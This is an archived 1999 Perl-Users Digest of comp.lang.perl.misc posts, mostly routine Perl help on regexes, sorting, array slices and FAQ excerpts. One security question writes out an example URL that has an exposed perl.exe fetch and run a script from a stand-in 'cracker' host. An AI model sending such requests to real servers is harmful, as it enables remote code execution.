[11476] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 5076 Volume: 8

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sat Mar 6 20:07:22 1999

Date: Sat, 6 Mar 99 17:00:20 -0800
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)

Perl-Users Digest           Sat, 6 Mar 1999     Volume: 8 Number: 5076

Today's topics:
    Re: $1 gets clobbered <helpdesk@leedsnet.com>
        3270 emulation in perl, has it been done? (Thomas Munn)
        Calling Perl from Java ("Adrian Fiorinni")
    Re: deletion problem <aqumsieh@matrox.com>
        FAQ 2.5: I grabbed the sources and tried to compile but <perlfaq-suggestions@perl.com>
        FAQ 2.6: What modules and extensions are available for  <perlfaq-suggestions@perl.com>
    Re: how do i format a forwarded letter (Ronald J Kimball)
    Re: How to do a Case-insensitive Sort? <aqumsieh@matrox.com>
    Re: Is there a way to find out if someone is using prox ("Adrian Fiorinni")
    Re: Is there a way to find out if someone is using prox <a@b.c>
    Re: New bies quest <gellyfish@btinternet.com>
    Re: New bies quest (Alastair)
    Re: New bies quest (Ronald J Kimball)
    Re: Newbie needs help formatting variable (Ronald J Kimball)
    Re: Nonscalar Array Access? (Tad McClellan)
    Re: Nonscalar Array Access? (Ronald J Kimball)
    Re: Number of decimal places in Perl <aqumsieh@matrox.com>
    Re: Perl.exe in the CGI-BIN directory (Matthew Bafford)
    Re: Perl.exe in the CGI-BIN directory (Matthew Bafford)
    Re: Printing in Perl (Ronald J Kimball)
    Re: Printing in Perl <aqumsieh@matrox.com>
        pwd: cannot determine current directory! (Bill Moseley)
    Re: searching filenames <rick.delaney@home.com>
    Re: Sorting trouble. Almost solved. Final touch needed. <aqumsieh@matrox.com>
        Special: Digest Administrivia (Last modified: 12 Dec 98 (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Sat, 6 Mar 1999 22:27:58 -0000
From: "LeedsNet" <helpdesk@leedsnet.com>
Subject: Re: $1 gets clobbered
Message-Id: <36e1ad85.0@glitch.nildram.co.uk>

>: Can someone please explain to me why $1 is getting clobbered in the
>: last line below?
>
>
>   The standard perl docs can explain that (perlre.pod)
>


I was 'caught' by this before I decided to be disciplined
about saving $1 et cetera in named variables. I had imagined
that these varaibles would be localised. I found that I could
get all sorts of peculiar results.

This is an area in which the docs and possibly the Camel
book could be extended and more examples given.

The moral is save your $1 if you need them later, it makes
your code little briitle if you come to change it.

Ben.

http://www.leedsnet.com
helpdesk@leedsnet.com




------------------------------

Date: Sat, 06 Mar 1999 23:42:08 GMT
From: munn@bigfoot.com (Thomas Munn)
Subject: 3270 emulation in perl, has it been done?
Message-Id: <7bsegi$k4c$1@eve.enteract.com>

All:

I am going to be working on a project that will require perl to "speak" 3270.  
Is there any nice module like the telnet one that will "speak" 3270 and handle 
an interactive session using the 3270 protocol?  

Thanks,

THomas


------------------------------

Date: Sat, 06 Mar 1999 14:23:05 -0800
From: grumetedapanair@hotmail.com ("Adrian Fiorinni")
Subject: Calling Perl from Java
Message-Id: <3VhE2.4080$xv.37557688@WReNphoon2>

that's a Java question !!!

try "comp.lang.java.programmer" about running
***any*** DOS programs; perl interpreter is just
one more.






*** Posted from RemarQ - http://www.remarq.com - Discussions Start Here (tm) ***


------------------------------

Date: Sun, 07 Mar 1999 00:23:21 GMT
From: @l@ <aqumsieh@matrox.com>
Subject: Re: deletion problem
Message-Id: <7bsgtj$p9t$1@nnrp1.dejanews.com>

In article <36DFD30A.EAFF58EF@aber.ac.uk>,
  anthony belsey <anb5@aber.ac.uk> wrote:

> I have a text file with data in.
>
> my program accesses this file and searches for a key to a line.
> if the search is successfull, I then want to delete that line off the
> text file.

FAQ. Checkout perlfaq5.

   How do I change one line in a file/delete a line in a
   file/insert a line in the middle of a file/append to the
   beginning of a file?

--Ala
$monger->{montreal}->[0];

-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/       Search, Read, Discuss, or Start Your Own    


------------------------------

Date: 6 Mar 1999 15:11:39 -0700
From: Tom Christiansen <perlfaq-suggestions@perl.com>
Subject: FAQ 2.5: I grabbed the sources and tried to compile but gdbm/dynamic loading/malloc/linking/... failed.  How do I make it work?  
Message-Id: <36e1a81b@csnews>

(This excerpt from perlfaq2 - Obtaining and Learning about Perl 
    ($Revision: 1.30 $, $Date: 1998/12/29 19:43:32 $)
part of the standard set of documentation included with every 
valid Perl distribution, like the one on your system.
See also http://language.perl.com/newdocs/pod/perlfaq2.html
if your negligent system adminstrator has been remiss in his duties.)

  I grabbed the sources and tried to compile but gdbm/dynamic loading/malloc/linking/... failed.  How do I make it work?

    Read the INSTALL file, which is part of the source distribution.
    It describes in detail how to cope with most idiosyncrasies that
    the Configure script can't work around for any given system or
    architecture.

-- 
s = (unsigned char*)(SvPVX(sv));    /* deeper magic */
    --Larry Wall, from util.c in the v5.0 perl distribution


------------------------------

Date: 6 Mar 1999 17:41:51 -0700
From: Tom Christiansen <perlfaq-suggestions@perl.com>
Subject: FAQ 2.6: What modules and extensions are available for Perl?  What is CPAN?  What does CPAN/src/... mean?  
Message-Id: <36e1cb4f@csnews>

(This excerpt from perlfaq2 - Obtaining and Learning about Perl 
    ($Revision: 1.30 $, $Date: 1998/12/29 19:43:32 $)
part of the standard set of documentation included with every 
valid Perl distribution, like the one on your system.
See also http://language.perl.com/newdocs/pod/perlfaq2.html
if your negligent system adminstrator has been remiss in his duties.)

  What modules and extensions are available for Perl?  What is CPAN?  What does CPAN/src/... mean?

    CPAN stands for Comprehensive Perl Archive Network, a huge
    archive replicated on dozens of machines all over the world. CPAN
    contains source code, non-native ports, documentation, scripts,
    and many third-party modules and extensions, designed for
    everything from commercial database interfaces to keyboard/screen
    control to web walking and CGI scripts. The master machine for
    CPAN is ftp://ftp.funet.fi/pub/languages/perl/CPAN/, but you can
    use the address http://www.perl.com/CPAN/CPAN.html to fetch a
    copy from a "site near you". See http://www.perl.com/CPAN
    (without a slash at the end) for how this process works.

    CPAN/path/... is a naming convention for files available on CPAN
    sites. CPAN indicates the base directory of a CPAN mirror, and
    the rest of the path is the path from that directory to the file.
    For instance, if you're using
    ftp://ftp.funet.fi/pub/languages/perl/CPAN as your CPAN site, the
    file CPAN/misc/japh file is downloadable as
    ftp://ftp.funet.fi/pub/languages/perl/CPAN/misc/japh .

    Considering that there are hundreds of existing modules in the
    archive, one probably exists to do nearly anything you can think
    of. Current categories under CPAN/modules/by-category/ include
    perl core modules; development support; operating system
    interfaces; networking, devices, and interprocess communication;
    data type utilities; database interfaces; user interfaces;
    interfaces to other languages; filenames, file systems, and file
    locking; internationalization and locale; world wide web support;
    server and daemon utilities; archiving and compression; image
    manipulation; mail and news; control flow utilities; filehandle
    and I/O; Microsoft Windows modules; and miscellaneous modules.

-- 
    When you do not know what you are doing, do it neatly.


------------------------------

Date: Sat, 6 Mar 1999 18:54:07 -0500
From: rjk@linguist.dartmouth.edu (Ronald J Kimball)
Subject: Re: how do i format a forwarded letter
Message-Id: <1do9bb9.121yz6z1wi7dtsN@bay3-89.quincy.ziplink.net>

Poohba <poohba@io.com> wrote:

> #!/usr/local/perl -w
> 
> $file = 'fix-letter';
> 
> open (FILE, "+<$file") || die "Can't open $file:   \n";
                                                   ^^

Your $! seems to have been mysteriously replaced with whitespace.


> while(<FILE>) {
>   $letter =~ s/>//g;
>   print FILE "$letter\n";
> }
> close(FILE);
> 
> this does not work thoug.  any suggestions?

Assign something to $letter before you try to modify its value.


Also, read perlfaq5:
   How do I change one line in a file/delete a line in a file/insert a
   line in the middle of a file/append to the beginning of a file?


HTH!


-- 
 _ / '  _      /         - aka -          rjk@linguist.dartmouth.edu
( /)//)//)(//)/(     Ronald J Kimball      chipmunk@m-net.arbornet.org
    /                                  http://www.ziplink.net/~rjk/
        "It's funny 'cause it's true ... and vice versa."


------------------------------

Date: Sat, 06 Mar 1999 22:58:42 GMT
From: @l@ <aqumsieh@matrox.com>
Subject: Re: How to do a Case-insensitive Sort?
Message-Id: <7bsbuu$li6$1@nnrp1.dejanews.com>

In article <36DEF345.6C10479C@PAInternetServices.com>,
  Eric Moyer <Eric@PAInternetServices.com> wrote:
> I'd like to know if there is a way to do a case-insensitive sort, while
> still preserving the initial values of the items being sorted

you mean:

@sorted = sort { lc $a cmp lc $b } @unsorted;

??

--Ala
$monger->{montreal}->[0];

-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/       Search, Read, Discuss, or Start Your Own    


------------------------------

Date: Sat, 06 Mar 1999 14:19:34 -0800
From: grumetedapanair@hotmail.com ("Adrian Fiorinni")
Subject: Re: Is there a way to find out if someone is using proxy server? thank you.
Message-Id: <PRhE2.4077$xv.37530097@WReNphoon2>

post on WRONG Newsgroup !!!

go to "comp.infosystems.www.authoring.cgi"

( but don't mind, on the webserver end, proxies are
transparent... the closest is to list all the IP's
u don't like, and block each one )



*** Posted from RemarQ - http://www.remarq.com - Discussions Start Here (tm) ***


------------------------------

Date: 6 Mar 1999 23:37:31 GMT
From: "Chaku" <a@b.c>
Subject: Re: Is there a way to find out if someone is using proxy server? thank you.
Message-Id: <7bse7r$e6q@bgtnsc02.worldnet.att.net>


"Adrian Fiorinni" wrote in message ...
>post on WRONG Newsgroup !!!
>
>go to "comp.infosystems.www.authoring.cgi"
>
>( but don't mind, on the webserver end, proxies are
>transparent... the closest is to list all the IP's
>u don't like, and block each one )
>
>
>
>*** Posted from RemarQ - http://www.remarq.com - Discussions Start Here
(tm) ***

wrong group??..BTW there's no "comp.infosystems.www.authoring.cgi" on my
newserver.





------------------------------

Date: 6 Mar 1999 22:18:49 -0000
From: Jonathan Stowe <gellyfish@btinternet.com>
Subject: Re: New bies quest
Message-Id: <7bs9k9$27k$1@gellyfish.btinternet.com>

On Sat, 6 Mar 1999 22:47:21 +0100 Ann-Charlotte Bostrvm wrote:
> Hi everyone. I am trying to learn this wonderful lang. I am trying to do a
> smal script that change b to <b> and bb to</b>.
> like this:
> $text=~s/b/<b>/g;
> $text=~s/bb/</b>/g;
> but the problem is that when it shall change from bb to </b> i got a error.
> I understand it must be the </b> that is the problem and its probleby the
> "/" that cause the error. How do i command the / to be print out as a / and
> not a perlcommandsign...

You dont need to use the / to delimit the substitution operator - that is
to say you can do something like :

$text =~ s%bb%</b>%g;

where the '%' could be any character that you think is unlikely to get
confused with other stuff.

You can read me more about this in the perlop manpage:


       Quote and Quote-like Operators

/J\
-- 
Jonathan Stowe <jns@btinternet.com>
Some of your questions answered:
<URL:http://www.btinternet.com/~gellyfish/resources/wwwfaq.htm>
Hastings: <URL:http://www.newhoo.com/Regional/UK/England/East_Sussex/Hastings>


------------------------------

Date: Sat, 06 Mar 1999 22:13:28 GMT
From: alastair@calliope.demon.co.uk (Alastair)
Subject: Re: New bies quest
Message-Id: <slrn7e3a7g.u0.alastair@calliope.demon.co.uk>

Ann-Charlotte Bostrvm <ac.bostrom@mail.bip.net> wrote:
>$text=~s/bb/</b>/g;

Try escaping the '/' i.e.

$text =~ s/bb/<\/b>/g;

HTH.

-- 

Alastair
work  : alastair@psoft.co.uk
home  : alastair@calliope.demon.co.uk


------------------------------

Date: Sat, 6 Mar 1999 18:54:10 -0500
From: rjk@linguist.dartmouth.edu (Ronald J Kimball)
Subject: Re: New bies quest
Message-Id: <1do9bkm.15usz37fofsk6N@bay3-89.quincy.ziplink.net>

Ann-Charlotte Bostrvm <ac.bostrom@mail.bip.net> wrote:

> like this:
> $text=~s/b/<b>/g;
> $text=~s/bb/</b>/g;
> but the problem is that when it shall change from bb to </b> i got a error.
> I understand it must be the </b> that is the problem and its probleby the
> "/" that cause the error. How do i command the / to be print out as a / and
> not a perlcommandsign...

Yes, you have grasped the problem.

Here is a solution:


$text=~s/bb/<\/b>/g;   # backslash the /


Here is a nicer looking solution:

$text=~s,bb,</b>,g;    # use a different delimiter character


The perlop documentation has more details on using different characters
as delimiters.

-- 
 _ / '  _      /         - aka -          rjk@linguist.dartmouth.edu
( /)//)//)(//)/(     Ronald J Kimball      chipmunk@m-net.arbornet.org
    /                                  http://www.ziplink.net/~rjk/
perl -e'$_="\012534`!./4(%2`\cp%2,`(!#+%2j";s;.;"\"\\c$&\"";gees;print'


------------------------------

Date: Sat, 6 Mar 1999 18:54:12 -0500
From: rjk@linguist.dartmouth.edu (Ronald J Kimball)
Subject: Re: Newbie needs help formatting variable
Message-Id: <1do9bp2.2lz7ds7lw2ytN@bay3-89.quincy.ziplink.net>

Mike & Christine <mcameron@altainfo.com> wrote:

> 1. I need to strip all punctuation except for numbers and decimal(ie
> remove $ and ,) from user input.
> $myvariable =~ ???????
> 

tr/0-9.//cd;
   # /c - complement: translate all characters *not* listed
   # /d - delete: delete characters with no specified translation


> 2. Format the manipulated data back to a currency format.
> 
> ie $mycalculated_data = round to nearest cent and add commas for
> thousands.

As it happens, someone asked about this in clp.mod a few days ago.

http://www.dejanews.com/thread/%3cF80o07.L2M@igsrsparc2.er.usgs.gov%3e%231/1


Rounding and adding commas are also discussed in perlfaq4 and perlfaq5,
respectively.


-- 
 _ / '  _      /         - aka -          rjk@linguist.dartmouth.edu
( /)//)//)(//)/(     Ronald J Kimball      chipmunk@m-net.arbornet.org
    /                                  http://www.ziplink.net/~rjk/
        "It's funny 'cause it's true ... and vice versa."


------------------------------

Date: Sat, 6 Mar 1999 11:13:05 -0500
From: tadmc@metronet.com (Tad McClellan)
Subject: Re: Nonscalar Array Access?
Message-Id: <h6krb7.lmr.ln@magna.metronet.com>

Brent Michalski (perlguy@technologist.com) wrote:
: I was just playing around with arrays (fun huh?) and I decided to try to
: access the array elements WITHOUT using scalar context, like so:

: print @array_name[2];

: This *seemed* to work the exact same as:
: print $array_name[2];


   There is *no* difference in context there.

   They are _both_ in list context, provided by the print().


: I was just wondering if this _always_ works or not?  Also, WHY does this
: work.  

: Everything I've read and been told about Perl has said that I need to
: access the elements in scalar context.  (My world is falling apart ;-)


   You are confused about context.

   There is nothing here that has anything to do with 
   list vs. scalar context.



   @array_name[2] is an "array slice", that is, a subset of the set
   of elements in @array_name.

   This particular slice contains only one element.

   print() dutifully prints out the one-element list that you gave it.

   This slice contains the first and third elements:  @array_name[0,2]


--
    Tad McClellan                          SGML Consulting
    tadmc@metronet.com                     Perl programming
    Fort Worth, Texas


------------------------------

Date: Sat, 6 Mar 1999 18:54:14 -0500
From: rjk@linguist.dartmouth.edu (Ronald J Kimball)
Subject: Re: Nonscalar Array Access?
Message-Id: <1do9c4h.1puuhf8x9sx1iN@bay3-89.quincy.ziplink.net>

Brent Michalski <perlguy@technologist.com> wrote:

> Everything I've read and been told about Perl has said that I need to
> access the elements in scalar context.  (My world is falling apart ;-)

Have you ever read the perldata documentation?  ;-)

Look for 'array slices'.

-- 
 _ / '  _      /         - aka -          rjk@linguist.dartmouth.edu
( /)//)//)(//)/(     Ronald J Kimball      chipmunk@m-net.arbornet.org
    /                                  http://www.ziplink.net/~rjk/
          perl -le 'print "Just another \u$^X hacker"'


------------------------------

Date: Sat, 06 Mar 1999 23:23:26 GMT
From: @l@ <aqumsieh@matrox.com>
Subject: Re: Number of decimal places in Perl
Message-Id: <7bsdd7$miu$1@nnrp1.dejanews.com>

In article <7bn9b2$eqd$1@nnrp1.dejanews.com>,
  matthew_keene@ansett.com.au wrote:
> Can anyone tell me how the default number of decimal places gets set in Perl.
> If I run:
>
>   $decimal1 = 1/6 ;
>   print "Decimal value is $decimal1\n" ;
>
> I get:
>
>   Decimal value is 0.166666666666667
>
> I can round the value using int, printf or sprintf, but I'm interested about
> the default behaviour, and whether I can modify it.

Perlfaq4 addresses these issues. Have a look at it.

--Ala
$monger->{montreal}->[0];

-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/       Search, Read, Discuss, or Start Your Own    


------------------------------

Date: Sat, 06 Mar 1999 22:25:25 GMT
From: dragons@scescape.net (Matthew Bafford)
Subject: Re: Perl.exe in the CGI-BIN directory
Message-Id: <slrn7e3ah7.816.dragons@Server.Network>

Sat, 06 Mar 1999 14:10:55 -0500 -- Rabin Vongpaisal <rabinv@hotmail.com>:
-> Hi all,
-> 
-> I was wondering if anyone can give some detailed information about the
-> security issues of having the interpreter inside the cgi-bin or scripts
-> directory.  From what I know, people can possibly use the interpreter to
-> run their own scripts, and having taking advantage of the perl
-> interpreter's permissions.  Am I right so far?  Would a possible way of
-> invoking a script be like this?
-> 
-> http://servername/cgi-bin/perl.exe?http://www.cracker.com/cgi-bin/bad.pl

You ('really, 'x100), really don't want to do that!

ftp://www.perl.com/CPAN/authors/Tom_Christiansen/scripts/latro.html

[snip]
-> Thanks,

HTH!

-> Rabin

--Matthew


------------------------------

Date: Sat, 06 Mar 1999 22:33:19 GMT
From: dragons@scescape.net (Matthew Bafford)
Subject: Re: Perl.exe in the CGI-BIN directory
Message-Id: <slrn7e3b0g.bgb.dragons@Server.Network>

Sat, 06 Mar 1999 22:25:25 GMT -- Matthew Bafford <dragons@scescape.net>:
-> ftp://www.perl.com/CPAN/authors/Tom_Christiansen/scripts/latro.html

s/ftp/http/

--Matthew


------------------------------

Date: Sat, 6 Mar 1999 18:54:16 -0500
From: rjk@linguist.dartmouth.edu (Ronald J Kimball)
Subject: Re: Printing in Perl
Message-Id: <1do9cbp.6wpgu611t1ktcN@bay3-89.quincy.ziplink.net>

Bart Lateur <bart.lateur@skynet.be> wrote:

> Larry Rosler wrote:
> 
> >Are there any benefits to Perl formats other than what I have noted 
> >above?
> 
> I've never used them, and I never will.
> 
> They are closely linked to the concept of fixed width fonts, a seriously
> outdated concept that nevertheless refuses to stay down.


In their defense, fixed width fonts would like to say:

,-,---.   .        ,-,-,-.       
 '|___/ . |- ,-.   `,| | |   ,-. 
 ,|   \ | |  |-'     | ; | . |-' 
`-^---' ' `' `-'     '   `-' `-' 

Let's see you do that with a variable-width font.


-- 
 _ / '  _      /         - aka -          rjk@linguist.dartmouth.edu
( /)//)//)(//)/(     Ronald J Kimball      chipmunk@m-net.arbornet.org
    /                                  http://www.ziplink.net/~rjk/
        "It's funny 'cause it's true ... and vice versa."


------------------------------

Date: Sun, 07 Mar 1999 00:37:05 GMT
From: @l@ <aqumsieh@matrox.com>
Subject: Re: Printing in Perl
Message-Id: <7bshnh$psd$1@nnrp1.dejanews.com>

In article <7boqgs$n89$1@nnrp1.dejanews.com>,
  dennishancy@eaton.com wrote:

> In Perl, I need to print a series of HTML form values to a text file.  I
> understand how to retrieve these values; but how can I produce formatted
> output?

You need to learn more about Perl's FORMATs. Read perlform.

--Ala
$monger->{montreal}->[0];

-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/       Search, Read, Discuss, or Start Your Own    


------------------------------

Date: Sat, 6 Mar 1999 16:08:35 -0800
From: moseley@best.com (Bill Moseley)
Subject: pwd: cannot determine current directory!
Message-Id: <MPG.114b635c3ff15a299896d0@206.184.139.132>

I've got STDERR redirected to a log file in a Perl CGI script.
I'm receiving this message every once in a while in the log file.  I 
haven't been able to figure out what makes it happen, and the script 
seems to run fine.

pwd: cannot determine current directory!

Other than 'use lib' and my file open()s, I'm not ever looking at the 
current directory.

That's not much info, I know, but perhaps someone might have some 
suggestions on how to track it down.  I'm already writing a lot of debug 
messages to the log file to try to narrow down where it's happening, but 
it isn't happening consistently.

s/pwd: cannot determine current directory!//g;


Thanks,

-- 
Bill Moseley mailto:moseley@best.com


------------------------------

Date: Sat, 06 Mar 1999 23:23:20 GMT
From: Rick Delaney <rick.delaney@home.com>
Subject: Re: searching filenames
Message-Id: <36E1BAD3.F02DFE97@home.com>

[posted & mailed]

Sheila Eugenio wrote:
> 
> 
> How can I make a comparison in such a way that when a user fails to fill up
> one or more fields, it will look for all possible combinations? I have the
> ff codes:
> 
> $dir = 'f:/engg/reports/';
> $search = "${area}${year}${week}";

You could replace the values of these scalars with a pattern that they
should match.  Something like

    $area =~ /^\w{2}$/ or $area = '\w{2}';
    $year =~ /^\d{4}$/ or $year = '\d{4}';
    # etc.

> $url = "http://home/engg_rep/".$search.".txt";
> opendir (ENGG, "$dir") or die "Can't open directory";
> while (defined($file=readdir(ENGG))) {
>                 $new = substr($file, 0, 8);
>                 if ($search=~/$new/) {

Then test the file name and see if it matches the pattern.

    if ($file =~ /$search/) {

-- 
Rick Delaney
rick.delaney@home.com


------------------------------

Date: Sat, 06 Mar 1999 23:18:44 GMT
From: @l@ <aqumsieh@matrox.com>
Subject: Re: Sorting trouble. Almost solved. Final touch needed.
Message-Id: <7bsd4f$mfe$1@nnrp1.dejanews.com>

In article <tGED2.14$5R.2106@dummy.bahnhof.se>,
  "Par Svensson" <par@removethis.bahnhof.se> wrote:

> open (INFILE, "testfile.txt");

here you should check whether your open() was successful or not:

	open INFILE, "testfile.txt" or die "Couldn't open testfile.txt: $!\n";

> while (<INFILE>) {
> $wholefile .= $_;
>   }
>
> @unsorteddata = split (/\n/, $wholefile);

The four lines above can be substituted by the much faster:

	@unsorteddata = <INFILE>;

> sub species($){
>  return substr($_,0,8);
>  }
> sub colour($){
>  return substr($_,8,5);
>  }
> sub weight($){
>  return substr($_,13,3);
>  }
> sub owner($){
>  return substr($_,16,8);
>  }
>
> sub sortorder {
>  species($a) ->[1]  cmp species($b) ->[1]
>    or
>  colour($a) ->[1]  cmp colour($b) ->[1]
>    or
>  weight($a) ->[1]  <=> weight($b) ->[1]
>    or
>  owner($a) ->[1]  cmp owner($b) ->[1] ;
>   }
>
> @unsortedrefs = map { [$_, weight($_)] } @unsorteddata;            # 1
>
> @sortedrefs = sort { $a -> [1] cmp $b -> [1] } @unsortedrefs;      # 2
>
> @sorteddata = map { $_ -> [0] } @sortedrefs;                       # 3

You can use the Schwartzian transform here (which is basically all three steps
combined into one). But you wanted clarity ..

> $result = join "\n", @sorteddata;
>
> print $result;

You can just slightly modify your program to do The Right Thing (tm).

Modify your &sortorder sub to:

sub sortorder {
	$a->[1] cmp $b->[1]
		||
	$a->[2] cmp $b->[2]
		||
	$a->[3] <=> $b->[3]
		||
	$a->[4] cmp $b->[4]
  }

Then,

Modify the three lines I marked with #1, #2 and #3 to:

@unsortedrefs = map {
		     [$_, species($_), colour($_), weight($_), owner($_)]
		    } @unsorteddata;
@sortedrefs = sort sortorder @unsortedrefs;
@sorteddata = map { $_ -> [0] } @sortedrefs;

That should do it for you,

--Ala
$monger->{montreal}->[0];

-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/       Search, Read, Discuss, or Start Your Own    


------------------------------

Date: 12 Dec 98 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Special: Digest Administrivia (Last modified: 12 Dec 98)
Message-Id: <null>


Administrivia:

Well, after 6 months, here's the answer to the quiz: what do we do about
comp.lang.perl.moderated. Answer: nothing. 

]From: Russ Allbery <rra@stanford.edu>
]Date: 21 Sep 1998 19:53:43 -0700
]Subject: comp.lang.perl.moderated available via e-mail
]
]It is possible to subscribe to comp.lang.perl.moderated as a mailing list.
]To do so, send mail to majordomo@eyrie.org with "subscribe clpm" in the
]body.  Majordomo will then send you instructions on how to confirm your
]subscription.  This is provided as a general service for those people who
]cannot receive the newsgroup for whatever reason or who just prefer to
]receive messages via e-mail.

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.misc (and this Digest), send your
article to perl-users@ruby.oce.orst.edu.

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

The Meta-FAQ, an article containing information about the FAQ, is
available by requesting "send perl-users meta-faq". The real FAQ, as it
appeared last in the newsgroup, can be retrieved with the request "send
perl-users FAQ". Due to their sizes, neither the Meta-FAQ nor the FAQ
are included in the digest.

The "mini-FAQ", which is an updated version of the Meta-FAQ, is
available by requesting "send perl-users mini-faq". It appears twice
weekly in the group, but is not distributed in the digest.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V8 Issue 5076
**************************************

home help back first fref pref prev next nref lref last post